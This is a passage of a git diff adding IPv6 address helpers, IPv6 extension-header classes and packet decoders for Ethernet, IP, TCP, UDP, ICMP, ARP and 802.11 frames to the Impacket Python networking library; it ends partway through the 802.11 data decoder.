+    def is_unique_local_unicast(self):
+        return self.__bytes[0] == 0xFD
+                
+    
+    def get_human_readable_address_type(self):
+        if self.is_multicast():
+            return "multicast"
+        elif self.is_unicast():
+            if self.is_link_local_unicast():
+                return "link-local unicast"
+            elif self.is_site_local_unicast():
+                return "site-local unicast"
+            else:
+                return "unicast"
+        elif self.is_unique_local_unicast():
+            return "unique-local unicast"
+        else:
+            return "unknown type"
+
+#############################################################################################################
+#Expansion helpers
+
+    #Predicate - returns whether an address is in compressed form
+    def __is_address_in_compressed_form(self, address):
+        #Sanity check - triple colon detection (not detected by searches of double colon)        
+        if address.count(self.SEPARATOR * 3) > 0:
+            raise Exception('IP6_Address - found triple colon')
+        
+        #Count the double colon marker
+        compression_marker_count = self.__count_compression_marker(address)        
+        if compression_marker_count == 0:
+            return False
+        elif compression_marker_count == 1:
+            return True
+        else:
+            raise Exception('IP6_Address - more than one compression marker (\"::\") found')
+       
+    #Returns how many hex groups are present, in a compressed address 
+    def __count_compressed_groups(self, address):
+        trimmed_address = address.replace(self.SEPARATOR * 2, self.SEPARATOR) #Replace "::" with ":"        
+        return trimmed_address.count(self.SEPARATOR) + 1
+
+    #Counts how many compression markers are present
+    def __count_compression_marker(self, address):
+        return address.count(self.SEPARATOR * 2) #Count occurrences of "::"
+
+    #Inserts leading zeroes in every hex group
+    def __insert_leading_zeroes(self, address):
+        hex_groups = address.split(self.SEPARATOR)
+        
+        new_address = ""
+        for hex_group in hex_groups:
+            if len(hex_group) < 4:
+                hex_group = hex_group.rjust(4, "0")
+            new_address += hex_group + self.SEPARATOR
+            
+        return new_address[:-1] #Trim the last colon
+            
+            
+    #Expands a compressed address
+    def __expand_compressed_address(self, address):
+        group_count = self.__count_compressed_groups(address)
+        groups_to_insert = self.TOTAL_HEX_GROUPS - group_count
+        
+        pos = address.find(self.SEPARATOR * 2) + 1 
+        while groups_to_insert:
+            address = address[:pos] + "0000" + self.SEPARATOR + address[pos:]
+            pos += 5
+            groups_to_insert -= 1
+
+        #Replace the compression marker with a single colon            
+        address = address.replace(self.SEPARATOR * 2, self.SEPARATOR)        
+        return address
+
+
+#############################################################################################################
+#Compression helpers
+
+    def __trim_longest_zero_chain(self, address):
+        chain_size = 8
+        
+        while chain_size > 0:
+            groups = address.split(self.SEPARATOR)
+
+            for index, group in enumerate(groups):
+                #Find the first zero
+                if group == "0":
+                    start_index = index
+                    end_index = index
+                    #Find the end of this chain of zeroes
+                    while end_index < 7 and groups[end_index + 1] == "0":
+                        end_index += 1
+                        
+                    #If the zero chain matches the current size, trim it
+                    found_size = end_index - start_index + 1
+                    if found_size == chain_size:
+                        address = self.SEPARATOR.join(groups[0:start_index]) + self.SEPARATOR * 2 + self.SEPARATOR.join(groups[(end_index+1):])
+                        return address
+                    
+            #No chain of this size found, try with a lower size    
+            chain_size -= 1
+        return address
+
+                                
+    #Trims all leading zeroes from every hex group
+    def __trim_leading_zeroes(self, theStr):
+        groups = theStr.split(self.SEPARATOR)
+        theStr = ""
+        
+        for group in groups:
+            group = group.lstrip("0") + self.SEPARATOR
+            if group == self.SEPARATOR:
+                group = "0" + self.SEPARATOR
+            theStr += group
+        return theStr[:-1]
+                
+
+#############################################################################################################
+    @classmethod
+    def is_a_valid_text_representation(cls, text_representation):
+        try:
+            #Capitalize on the constructor's ability to detect invalid text representations of an IP6 address            
+            IP6_Address(text_representation)
+            return True
+        except Exception:
+            return False
+                
+    def __is_a_scoped_address(self, text_representation):
+        return text_representation.count(self.SCOPE_SEPARATOR) == 1
diff --git a/impacket/IP6_Extension_Headers.py b/impacket/IP6_Extension_Headers.py
new file mode 100644
index 0000000..2c76513
--- /dev/null
+++ b/impacket/IP6_Extension_Headers.py
@@ -0,0 +1,329 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+import array
+
+from impacket.ImpactPacket import Header, ImpactPacketException, PacketBuffer
+
+class IP6_Extension_Header(Header):
+# --------------------------------- - - - - - - -
+# | Next Header | Header Ext Len | Options
+# --------------------------------- - - - - - - -
+
+    HEADER_TYPE_VALUE = -1
+    EXTENSION_HEADER_FIELDS_SIZE = 2
+    
+    EXTENSION_HEADER_DECODER = None
+
+    def __init__(self, buffer = None):
+        Header.__init__(self, self.get_headers_field_size())
+        self._option_list = []
+        if buffer:
+            self.load_header(buffer)
+        else:
+            self.reset()
+
+    def __str__(self):
+        header_type = self.get_header_type()
+        next_header_value = self.get_next_header()
+        header_ext_length = self.get_header_extension_length()
+
+        s  = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n"
+        s += "Header Type Value: " + str(header_type) + "\n"
+        s += "Next Header: " + str(next_header_value) + "\n"
+        s += "Header Extension Length: " + str(header_ext_length) + "\n"
+        s += "Options:\n"
+        
+        for option in self._option_list:
+            option_str = str(option)
+            option_str = option_str.split('\n')
+            option_str = [(' ' * 4) + s for s in option_str]
+            s += '\n'.join(option_str) + '\n'
+        
+        return s
+
+    def load_header(self, buffer):
+        self.set_bytes_from_string(buffer[:self.get_headers_field_size()])
+        
+        remaining_bytes = (self.get_header_extension_length() + 1) * 8
+        remaining_bytes -= self.get_headers_field_size()
+
+        buffer = array.array('B', buffer[self.get_headers_field_size():])
+        if remaining_bytes > len(buffer):
+            raise ImpactPacketException("Cannot load options from truncated packet")
+
+        while remaining_bytes > 0:
+            option_type = buffer[0]
+            if option_type == Option_PAD1.OPTION_TYPE_VALUE:
+                # Pad1
+                self._option_list.append(Option_PAD1())
+                
+                remaining_bytes -= 1
+                buffer = buffer[1:]
+            else:
+                # PadN
+                # From RFC 2460: For N octets of padding, the Opt Data Len
+                # field contains the value N-2, and the Option Data consists
+                # of N-2 zero-valued octets.
+                option_length = buffer[1]
+                option_length += 2
+                
+                self._option_list.append(Option_PADN(option_length))
+
+                remaining_bytes -= option_length
+                buffer = buffer[option_length:]
+    
+    def reset(self):
+        pass
+
+    @classmethod
+    def get_header_type_value(cls):
+        return cls.HEADER_TYPE_VALUE
+    
+    @classmethod
+    def get_extension_headers(cls):
+        header_types = {}
+        for subclass in cls.__subclasses__():
+            subclass_header_types = subclass.get_extension_headers()
+            if not subclass_header_types:
+                # If the subclass did not return anything it means
+                # that it is a leaf subclass, so we take its header
+                # type value
+                header_types[subclass.get_header_type_value()] = subclass
+            else:
+                # Else we extend the list of the obtained types
+                header_types.update(subclass_header_types)
+        return header_types
+    
+    @classmethod
+    def get_decoder(cls):
+        raise RuntimeError("Class method %s.get_decoder must be overridden." % cls)
+
+    def get_header_type(self):
+        return self.__class__.get_header_type_value()
+
+    def get_headers_field_size(self):
+        return IP6_Extension_Header.EXTENSION_HEADER_FIELDS_SIZE
+
+    def get_header_size(self):
+        header_size = self.get_headers_field_size()
+        for option in self._option_list:
+            header_size += option.get_len()
+        return header_size
+
+    def get_next_header(self):
+        return self.get_byte(0)
+
+    def get_header_extension_length(self):
+        return self.get_byte(1)
+
+    def set_next_header(self, next_header):
+        self.set_byte(0, next_header & 0xFF)
+
+    def set_header_extension_length(self, header_extension_length):
+        self.set_byte(1, header_extension_length & 0xFF)
+    
+    def add_option(self, option):
+        self._option_list.append(option)
+    
+    def get_options(self):
+        return self._option_list
+
+    def get_packet(self):
+        data = self.get_data_as_string()
+
+        # Update the header length
+        self.set_header_extension_length(self.get_header_size() // 8 - 1)
+
+        # Build the entire extension header packet
+        header_bytes = self.get_buffer_as_string()
+        for option in self._option_list:
+            header_bytes += option.get_buffer_as_string()
+        
+        if data:
+            return header_bytes + data
+        else:
+            return header_bytes
+
+    def contains(self, aHeader):
+        Header.contains(self, aHeader)
+        if isinstance(aHeader, IP6_Extension_Header):
+            self.set_next_header(aHeader.get_header_type())
+    
+    def get_pseudo_header(self):
+        # The pseudo-header only contains data from the IPv6 header.
+        # So we pass the message to the parent until it reaches it.
+        return self.parent().get_pseudo_header()
+
+class Extension_Option(PacketBuffer):
+    MAX_OPTION_LEN  = 256
+    OPTION_TYPE_VALUE = -1
+
+    def __init__(self, option_type, size):
+        if size > Extension_Option.MAX_OPTION_LEN:
+            raise ImpactPacketException("Option size of % is greater than the maximum of %d" % (size, Extension_Option.MAX_OPTION_LEN))
+        PacketBuffer.__init__(self, size)
+        self.set_option_type(option_type)
+
+    def __str__(self):
+        option_type = self.get_option_type()
+        option_length = self.get_option_length()
+
+        s  = "Option Name: " + str(self.__class__.OPTION_DESCRIPTION) + "\n"
+        s += "Option Type: " + str(option_type) + "\n"
+        s += "Option Length: " + str(option_length) + "\n"
+        
+        return s
+
+    def set_option_type(self, option_type):
+        self.set_byte(0, option_type)
+
+    def get_option_type(self):
+        return self.get_byte(0)
+
+    def set_option_length(self, length):
+        self.set_byte(1, length)
+
+    def get_option_length(self):
+        return self.get_byte(1)
+
+    def set_data(self, data):
+        self.set_option_length(len(data))
+        option_bytes = self.get_bytes()
+        
+        option_bytes = self.get_bytes()
+        option_bytes[2:2+len(data)] = array.array('B', data)
+        self.set_bytes(option_bytes)
+
+    def get_len(self):
+        return len(self.get_bytes())
+
+class Option_PAD1(Extension_Option):
+    OPTION_TYPE_VALUE = 0x00   # Pad1 (RFC 2460)
+    OPTION_DESCRIPTION = "Pad1 Option"
+
+    def __init__(self):
+        Extension_Option.__init__(self, Option_PAD1.OPTION_TYPE_VALUE, 1)
+
+    def get_len(self):
+        return 1
+
+class Option_PADN(Extension_Option):
+    OPTION_TYPE_VALUE = 0x01   # Pad1 (RFC 2460)
+    OPTION_DESCRIPTION = "PadN Option"
+
+    def __init__(self, padding_size):
+        if padding_size < 2:
+            raise ImpactPacketException("PadN Extension Option must be greater than 2 bytes")
+
+        Extension_Option.__init__(self, Option_PADN.OPTION_TYPE_VALUE, padding_size)
+        self.set_data(b'\x00' * (padding_size - 2))
+
+class Basic_Extension_Header(IP6_Extension_Header):
+    MAX_OPTIONS_LEN = 256 * 8
+    MIN_HEADER_LEN  = 8
+    MAX_HEADER_LEN  = MIN_HEADER_LEN + MAX_OPTIONS_LEN
+
+    def __init__(self, buffer = None):
+        self.padded = False
+        IP6_Extension_Header.__init__(self, buffer)
+
+    def reset(self):
+        self.set_next_header(0)
+        self.set_header_extension_length(0)
+        self.add_padding()
+
+    def add_option(self, option):
+        if self.padded:
+            self._option_list.pop()
+            self.padded = False
+
+        IP6_Extension_Header.add_option(self, option)
+
+        self.add_padding()
+        
+    def add_padding(self):
+        required_octets = 8 - (self.get_header_size() % 8)
+        if self.get_header_size() + required_octets > Basic_Extension_Header.MAX_HEADER_LEN:
+            raise Exception("Not enough space for the padding")
+
+        # Insert Pad1 or PadN to fill the necessary octets
+        if 0 < required_octets < 8:
+            if required_octets == 1:
+                self.add_option(Option_PAD1())
+            else:
+                self.add_option(Option_PADN(required_octets))
+            self.padded = True
+        else:
+            self.padded = False
+
+class Hop_By_Hop(Basic_Extension_Header):
+    HEADER_TYPE_VALUE = 0x00
+    HEADER_EXTENSION_DESCRIPTION = "Hop By Hop Options"
+    
+    @classmethod
+    def get_decoder(self):
+        from impacket import ImpactDecoder
+        return ImpactDecoder.HopByHopDecoder
+
+class Destination_Options(Basic_Extension_Header):
+    HEADER_TYPE_VALUE = 0x3c
+    HEADER_EXTENSION_DESCRIPTION = "Destination Options"
+    
+    @classmethod
+    def get_decoder(self):
+        from impacket import ImpactDecoder
+        return ImpactDecoder.DestinationOptionsDecoder
+
+class Routing_Options(IP6_Extension_Header):
+    HEADER_TYPE_VALUE = 0x2b
+    HEADER_EXTENSION_DESCRIPTION = "Routing Options"
+    ROUTING_OPTIONS_HEADER_FIELDS_SIZE = 8
+    
+    def reset(self):
+        self.set_next_header(0)
+        self.set_header_extension_length(0)
+        self.set_routing_type(0)
+        self.set_segments_left(0)
+
+    def __str__(self):
+        header_type = self.get_header_type()
+        next_header_value = self.get_next_header()
+        header_ext_length = self.get_header_extension_length()
+        routing_type = self.get_routing_type()
+        segments_left = self.get_segments_left()
+
+        s  = "Header Extension Name: " + self.__class__.HEADER_EXTENSION_DESCRIPTION + "\n"
+        s += "Header Type Value: " + str(header_type) + "\n"
+        s += "Next Header: " + str(next_header_value) + "\n"
+        s += "Header Extension Length: " + str(header_ext_length) + "\n"
+        s += "Routing Type: " + str(routing_type) + "\n"
+        s += "Segments Left: " + str(segments_left) + "\n"
+
+        return s
+        
+    @classmethod
+    def get_decoder(self):
+        from . import ImpactDecoder
+        return ImpactDecoder.RoutingOptionsDecoder
+
+    def get_headers_field_size(self):
+        return Routing_Options.ROUTING_OPTIONS_HEADER_FIELDS_SIZE
+
+    def set_routing_type(self, routing_type):
+        self.set_byte(2, routing_type)
+
+    def get_routing_type(self):
+        return self.get_byte(2)
+
+    def set_segments_left(self, segments_left):
+        self.set_byte(3, segments_left)
+
+    def get_segments_left(self):
+        return self.get_byte(3)
diff --git a/impacket/ImpactDecoder.py b/impacket/ImpactDecoder.py
new file mode 100644
index 0000000..3709351
--- /dev/null
+++ b/impacket/ImpactDecoder.py
@@ -0,0 +1,980 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Convenience packet unpackers for various network protocols
+#   implemented in the ImpactPacket module.
+#
+# Author:
+#   Javier Burroni (javier)
+#   Bruce Leidl (brl)
+#   Aureliano Calvo
+#
+
+import array
+
+from impacket import ICMP6
+from impacket import IP6
+from impacket import IP6_Extension_Headers
+from impacket import ImpactPacket
+from impacket import LOG
+from impacket import dot11
+from impacket import wps, eap, dhcp
+from impacket.cdp import CDP
+
+"""Classes to convert from raw packets into a hierarchy of
+ImpactPacket derived objects.
+
+The protocol of the outermost layer must be known in advance, and the
+packet must be fed to the corresponding decoder. From there it will
+try to decode the raw data into a hierarchy of ImpactPacket derived
+objects; if a layer's protocol is unknown, all the remaining data will
+be wrapped into a ImpactPacket.Data object.
+"""
+
+class Decoder:
+    __decoded_protocol = None
+    def decode(self, aBuffer):
+        pass
+        
+    def set_decoded_protocol(self, protocol):
+        self.__decoded_protocol = protocol
+        
+    def get_protocol(self, aprotocol):
+        protocol = self.__decoded_protocol
+        while protocol:
+            if protocol.__class__ == aprotocol:
+                break
+            protocol=protocol.child()
+        return protocol
+    
+    def __str__(self):
+        protocol = self.__decoded_protocol
+        i=0
+        out=''
+        while protocol:
+            tabline=' '*i+'+-'+str(protocol.__class__)
+            out+="%s"%tabline+'\n'
+            protocol=protocol.child()
+            i+=1
+        return out
+
+class EthDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        e = ImpactPacket.Ethernet(aBuffer)
+        self.set_decoded_protocol( e )
+        off = e.get_header_size()
+        if e.get_ether_type() == ImpactPacket.IP.ethertype:
+            self.ip_decoder = IPDecoder()
+            packet = self.ip_decoder.decode(aBuffer[off:])
+        elif e.get_ether_type() == IP6.IP6.ethertype:
+            self.ip6_decoder = IP6Decoder()
+            packet = self.ip6_decoder.decode(aBuffer[off:])
+        elif e.get_ether_type() == ImpactPacket.ARP.ethertype:
+            self.arp_decoder = ARPDecoder()
+            packet = self.arp_decoder.decode(aBuffer[off:])
+        elif e.get_ether_type() == eap.DOT1X_AUTHENTICATION:
+            self.eapol_decoder = EAPOLDecoder()
+            packet = self.eapol_decoder.decode(aBuffer[off:])
+        # LLC ?
+        elif e.get_ether_type() < 1500:
+            self.llc_decoder = LLCDecoder()
+            packet = self.llc_decoder.decode(aBuffer[off:])
+        else:
+            self.data_decoder = DataDecoder()
+            packet = self.data_decoder.decode(aBuffer[off:])
+
+        e.contains(packet)
+        return e
+
+# Linux "cooked" capture encapsulation.
+# Used, for instance, for packets returned by the "any" interface.
+class LinuxSLLDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        e = ImpactPacket.LinuxSLL(aBuffer)
+        self.set_decoded_protocol( e )
+        off = 16
+        if e.get_ether_type() == ImpactPacket.IP.ethertype:
+            self.ip_decoder = IPDecoder()
+            packet = self.ip_decoder.decode(aBuffer[off:])
+        elif e.get_ether_type() == ImpactPacket.ARP.ethertype:
+            self.arp_decoder = ARPDecoder()
+            packet = self.arp_decoder.decode(aBuffer[off:])
+        elif e.get_ether_type() == eap.DOT1X_AUTHENTICATION:
+            self.eapol_decoder = EAPOLDecoder()
+            packet = self.eapol_decoder.decode(aBuffer[off:])
+        else:
+            self.data_decoder = DataDecoder()
+            packet = self.data_decoder.decode(aBuffer[off:])
+
+        e.contains(packet)
+        return e
+
+class IPDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        i = ImpactPacket.IP(aBuffer)
+        self.set_decoded_protocol ( i )
+        off = i.get_header_size()
+        end = i.get_ip_len()
+        # If ip_len == 0 we might be facing TCP segmentation offload, let's calculate the right len
+        if end == 0:
+            LOG.warning('IP len reported as 0, most probably because of TCP segmentation offload. Attempting to fix its size')
+            i.set_ip_len(len(aBuffer))
+            end = i.get_ip_len()
+
+        if i.get_ip_p() == ImpactPacket.UDP.protocol:
+            self.udp_decoder = UDPDecoder()
+            packet = self.udp_decoder.decode(aBuffer[off:end])
+        elif i.get_ip_p() == ImpactPacket.TCP.protocol:
+            self.tcp_decoder = TCPDecoder()
+            packet = self.tcp_decoder.decode(aBuffer[off:end])
+        elif i.get_ip_p() == ImpactPacket.ICMP.protocol:
+            self.icmp_decoder = ICMPDecoder()
+            packet = self.icmp_decoder.decode(aBuffer[off:end])
+        elif i.get_ip_p() == ImpactPacket.IGMP.protocol:
+            self.igmp_decoder = IGMPDecoder()
+            packet = self.igmp_decoder.decode(aBuffer[off:end])
+        else:
+            self.data_decoder = DataDecoder()
+            packet = self.data_decoder.decode(aBuffer[off:end])
+        i.contains(packet)
+        return i
+
+class IP6MultiProtocolDecoder(Decoder):
+    def __init__(self, a_protocol_id):
+        self.protocol_id = a_protocol_id
+
+    def decode(self, buffer):
+        if self.protocol_id == ImpactPacket.UDP.protocol:
+            self.udp_decoder = UDPDecoder()
+            packet = self.udp_decoder.decode(buffer)
+        elif self.protocol_id == ImpactPacket.TCP.protocol:
+            self.tcp_decoder = TCPDecoder()
+            packet = self.tcp_decoder.decode(buffer)
+        elif self.protocol_id == ICMP6.ICMP6.protocol:
+            self.icmp6_decoder = ICMP6Decoder()
+            packet = self.icmp6_decoder.decode(buffer)
+        else:
+            # IPv6 Extension Headers lookup
+            extension_headers = IP6_Extension_Headers.IP6_Extension_Header.get_extension_headers()
+            if buffer and self.protocol_id in extension_headers:
+                extension_header_decoder_class = extension_headers[self.protocol_id].get_decoder()
+                self.extension_header_decoder = extension_header_decoder_class()
+                packet = self.extension_header_decoder.decode(buffer)
+            else:
+                self.data_decoder = DataDecoder()
+                packet = self.data_decoder.decode(buffer)
+
+        return packet
+
+class IP6Decoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, buffer):
+        ip6_packet = IP6.IP6(buffer)
+        self.set_decoded_protocol(ip6_packet)
+        start_pos = ip6_packet.get_header_size() 
+        end_pos = ip6_packet.get_payload_length() + start_pos
+        contained_protocol = ip6_packet.get_next_header()
+        
+        multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)
+        child_packet = multi_protocol_decoder.decode(buffer[start_pos:end_pos])
+        
+        ip6_packet.contains(child_packet)
+        return ip6_packet
+
+class HopByHopDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, buffer):
+        hop_by_hop = IP6_Extension_Headers.Hop_By_Hop(buffer)
+        self.set_decoded_protocol(hop_by_hop)
+        start_pos = hop_by_hop.get_header_size()
+        contained_protocol = hop_by_hop.get_next_header()
+
+        multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)
+        child_packet = multi_protocol_decoder.decode(buffer[start_pos:])
+        
+        hop_by_hop.contains(child_packet)
+        return hop_by_hop
+
+class DestinationOptionsDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, buffer):
+        destination_options = IP6_Extension_Headers.Destination_Options(buffer)
+        self.set_decoded_protocol(destination_options)
+        start_pos = destination_options.get_header_size()
+        contained_protocol = destination_options.get_next_header()
+
+        multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)
+        child_packet = multi_protocol_decoder.decode(buffer[start_pos:])
+        
+        destination_options.contains(child_packet)
+        return destination_options
+
+class RoutingOptionsDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, buffer):
+        routing_options = IP6_Extension_Headers.Routing_Options(buffer)
+        self.set_decoded_protocol(routing_options)
+        start_pos = routing_options.get_header_size()
+        contained_protocol = routing_options.get_next_header()
+
+        multi_protocol_decoder = IP6MultiProtocolDecoder(contained_protocol)
+        child_packet = multi_protocol_decoder.decode(buffer[start_pos:])
+        
+        routing_options.contains(child_packet)
+        return routing_options
+
+class ICMP6Decoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, buffer):
+        icmp6_packet = ICMP6.ICMP6(buffer)
+        self.set_decoded_protocol(icmp6_packet)
+        start_pos = icmp6_packet.get_header_size() 
+                
+        self.data_decoder = DataDecoder()
+        child_packet = self.data_decoder.decode(buffer[start_pos:])
+        icmp6_packet.contains(child_packet)
+        return icmp6_packet
+
+
+class ARPDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        arp = ImpactPacket.ARP(aBuffer)
+        self.set_decoded_protocol( arp )
+        off = arp.get_header_size()
+        self.data_decoder = DataDecoder()
+        packet = self.data_decoder.decode(aBuffer[off:])
+        arp.contains(packet)
+        return arp
+
+class UDPDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        u = ImpactPacket.UDP(aBuffer)
+        self.set_decoded_protocol( u )
+        off = u.get_header_size()
+        self.data_decoder = DataDecoder()
+        packet = self.data_decoder.decode(aBuffer[off:])
+        u.contains(packet)
+        return u
+
+class TCPDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        t = ImpactPacket.TCP(aBuffer)
+        self.set_decoded_protocol( t )
+        off = t.get_header_size()
+        self.data_decoder = DataDecoder()
+        packet = self.data_decoder.decode(aBuffer[off:])
+        t.contains(packet)
+        return t
+
+class IGMPDecoder(Decoder):
+    def __init__(self):
+        pass
+    def decode(self, aBuffer):
+        ig = ImpactPacket.IGMP(aBuffer)
+        off = ig.get_header_size()
+        self.data_decoder = DataDecoder()
+        packet = self.data_decoder.decode(aBuffer[off:])
+        ig.contains(packet)
+        return ig
+
+
+class IPDecoderForICMP(Decoder):
+    """This class was added to parse the IP header of ICMP unreachables packets
+    If you use the "standard" IPDecoder, it might crash (see bug #4870) ImpactPacket.py
+    because the TCP header inside the IP header is incomplete"""    
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        i = ImpactPacket.IP(aBuffer)
+        self.set_decoded_protocol( i )
+        off = i.get_header_size()
+        if i.get_ip_p() == ImpactPacket.UDP.protocol:
+            self.udp_decoder = UDPDecoder()
+            packet = self.udp_decoder.decode(aBuffer[off:])
+        else:
+            self.data_decoder = DataDecoder()
+            packet = self.data_decoder.decode(aBuffer[off:])
+        i.contains(packet)
+        return i
+
+class ICMPDecoder(Decoder):
+    def __init__(self):
+        pass
+
+    def decode(self, aBuffer):
+        ic = ImpactPacket.ICMP(aBuffer)
+        self.set_decoded_protocol( ic )
+        off = ic.get_header_size()
+        if ic.get_icmp_type() == ImpactPacket.ICMP.ICMP_UNREACH:
+            self.ip_decoder = IPDecoderForICMP()
+            packet = self.ip_decoder.decode(aBuffer[off:])
+        else:
+            self.data_decoder = DataDecoder()
+            packet = self.data_decoder.decode(aBuffer[off:])
+        ic.contains(packet)
+        return ic
+
+class DataDecoder(Decoder):
+    def decode(self, aBuffer):
+        d = ImpactPacket.Data(aBuffer)
+        self.set_decoded_protocol( d )
+        return d
+
+class BaseDot11Decoder(Decoder):
+    def __init__(self, key_manager=None):
+        self.set_key_manager(key_manager)
+        
+    def set_key_manager(self, key_manager):
+        self.key_manager = key_manager
+        
+    def find_key(self, bssid):
+        try:
+            key = self.key_manager.get_key(bssid)
+        except:
+            return False
+        return key
+
+class RadioTapDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+
+    def decode(self, aBuffer):
+        rt = dot11.RadioTap(aBuffer)
+        self.set_decoded_protocol( rt )
+        
+        self.do11_decoder = Dot11Decoder()
+        self.do11_decoder.set_key_manager(self.key_manager)
+        flags=rt.get_flags()
+        if flags is not None:
+            fcs=flags&dot11.RadioTap.RTF_FLAGS.PROPERTY_FCS_AT_END
+            self.do11_decoder.FCS_at_end(fcs)
+            
+        packet = self.do11_decoder.decode(rt.get_body_as_string())
+    
+        rt.contains(packet)
+        return rt
+
+class Dot11Decoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+        self.__FCS_at_end = True
+        
+    def FCS_at_end(self, fcs_at_end=True):
+        self.__FCS_at_end=not not fcs_at_end 
+        
+    def decode(self, aBuffer):
+        d = dot11.Dot11(aBuffer, self.__FCS_at_end)
+        self.set_decoded_protocol( d )
+        
+        type = d.get_type()
+        if type == dot11.Dot11Types.DOT11_TYPE_CONTROL:
+            dot11_control_decoder = Dot11ControlDecoder()
+            packet = dot11_control_decoder.decode(d.body_string)
+        elif type == dot11.Dot11Types.DOT11_TYPE_DATA:
+            dot11_data_decoder = Dot11DataDecoder(self.key_manager)
+            
+            dot11_data_decoder.set_dot11_hdr(d)
+            
+            packet = dot11_data_decoder.decode(d.body_string)
+        elif type == dot11.Dot11Types.DOT11_TYPE_MANAGEMENT:
+            dot11_management_decoder = Dot11ManagementDecoder()
+            dot11_management_decoder.set_subtype(d.get_subtype())
+            packet = dot11_management_decoder.decode(d.body_string)
+        else:
+            data_decoder = DataDecoder()
+            packet = data_decoder.decode(d.body_string)
+
+        d.contains(packet)
+        return d
+
+class Dot11ControlDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+        self.__FCS_at_end = True
+
+    def FCS_at_end(self, fcs_at_end=True):
+        self.__FCS_at_end=not not fcs_at_end 
+    
+    def decode(self, aBuffer):
+        d = dot11.Dot11(aBuffer, self.__FCS_at_end)
+        self.set_decoded_protocol(d)
+        
+        self.subtype = d.get_subtype()
+        if self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND:
+            self.ctrl_cts_decoder = Dot11ControlFrameCTSDecoder()
+            packet = self.ctrl_cts_decoder.decode(d.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT:
+            self.ctrl_ack_decoder = Dot11ControlFrameACKDecoder()
+            packet = self.ctrl_ack_decoder.decode(d.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND:
+            self.ctrl_rts_decoder = Dot11ControlFrameRTSDecoder()
+            packet = self.ctrl_rts_decoder.decode(d.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL:
+            self.ctrl_pspoll_decoder = Dot11ControlFramePSPollDecoder()
+            packet = self.ctrl_pspoll_decoder.decode(d.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END:
+            self.ctrl_cfend_decoder = Dot11ControlFrameCFEndDecoder()
+            packet = self.ctrl_cfend_decoder.decode(d.body_string)
+        elif self.subtype is dot11.Dot11Types.DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK:
+            self.ctrl_cfendcfack_decoder = Dot11ControlFrameCFEndCFACKDecoder()
+            packet = self.ctrl_cfendcfack_decoder.decode(d.body_string)
+        else:
+            data_decoder = DataDecoder()
+            packet = data_decoder.decode(d.body_string)
+        
+        d.contains(packet)
+        return d
+
+class Dot11ControlFrameCTSDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+    
+    def decode(self, aBuffer):
+        p = dot11.Dot11ControlFrameCTS(aBuffer)
+        self.set_decoded_protocol(p)
+        return p
+
+class Dot11ControlFrameACKDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+    
+    def decode(self, aBuffer):
+        p = dot11.Dot11ControlFrameACK(aBuffer)
+        self.set_decoded_protocol(p)
+        return p
+
+class Dot11ControlFrameRTSDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+    
+    def decode(self, aBuffer):
+        p = dot11.Dot11ControlFrameRTS(aBuffer)
+        self.set_decoded_protocol(p)
+        return p
+
+class Dot11ControlFramePSPollDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+    
+    def decode(self, aBuffer):
+        p = dot11.Dot11ControlFramePSPoll(aBuffer)
+        self.set_decoded_protocol(p)
+        return p
+
+class Dot11ControlFrameCFEndDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+    
+    def decode(self, aBuffer):
+        p = dot11.Dot11ControlFrameCFEnd(aBuffer)
+        self.set_decoded_protocol(p)
+        return p
+class Dot11ControlFrameCFEndCFACKDecoder(BaseDot11Decoder):
+    def __init__(self):
+        BaseDot11Decoder.__init__(self)
+    
+    def decode(self, aBuffer):
+        p = dot11.Dot11ControlFrameCFEndCFACK(aBuffer)
+        self.set_decoded_protocol(p)
+        return p
+
+class Dot11DataDecoder(BaseDot11Decoder):
+    def __init__(self, key_manager):
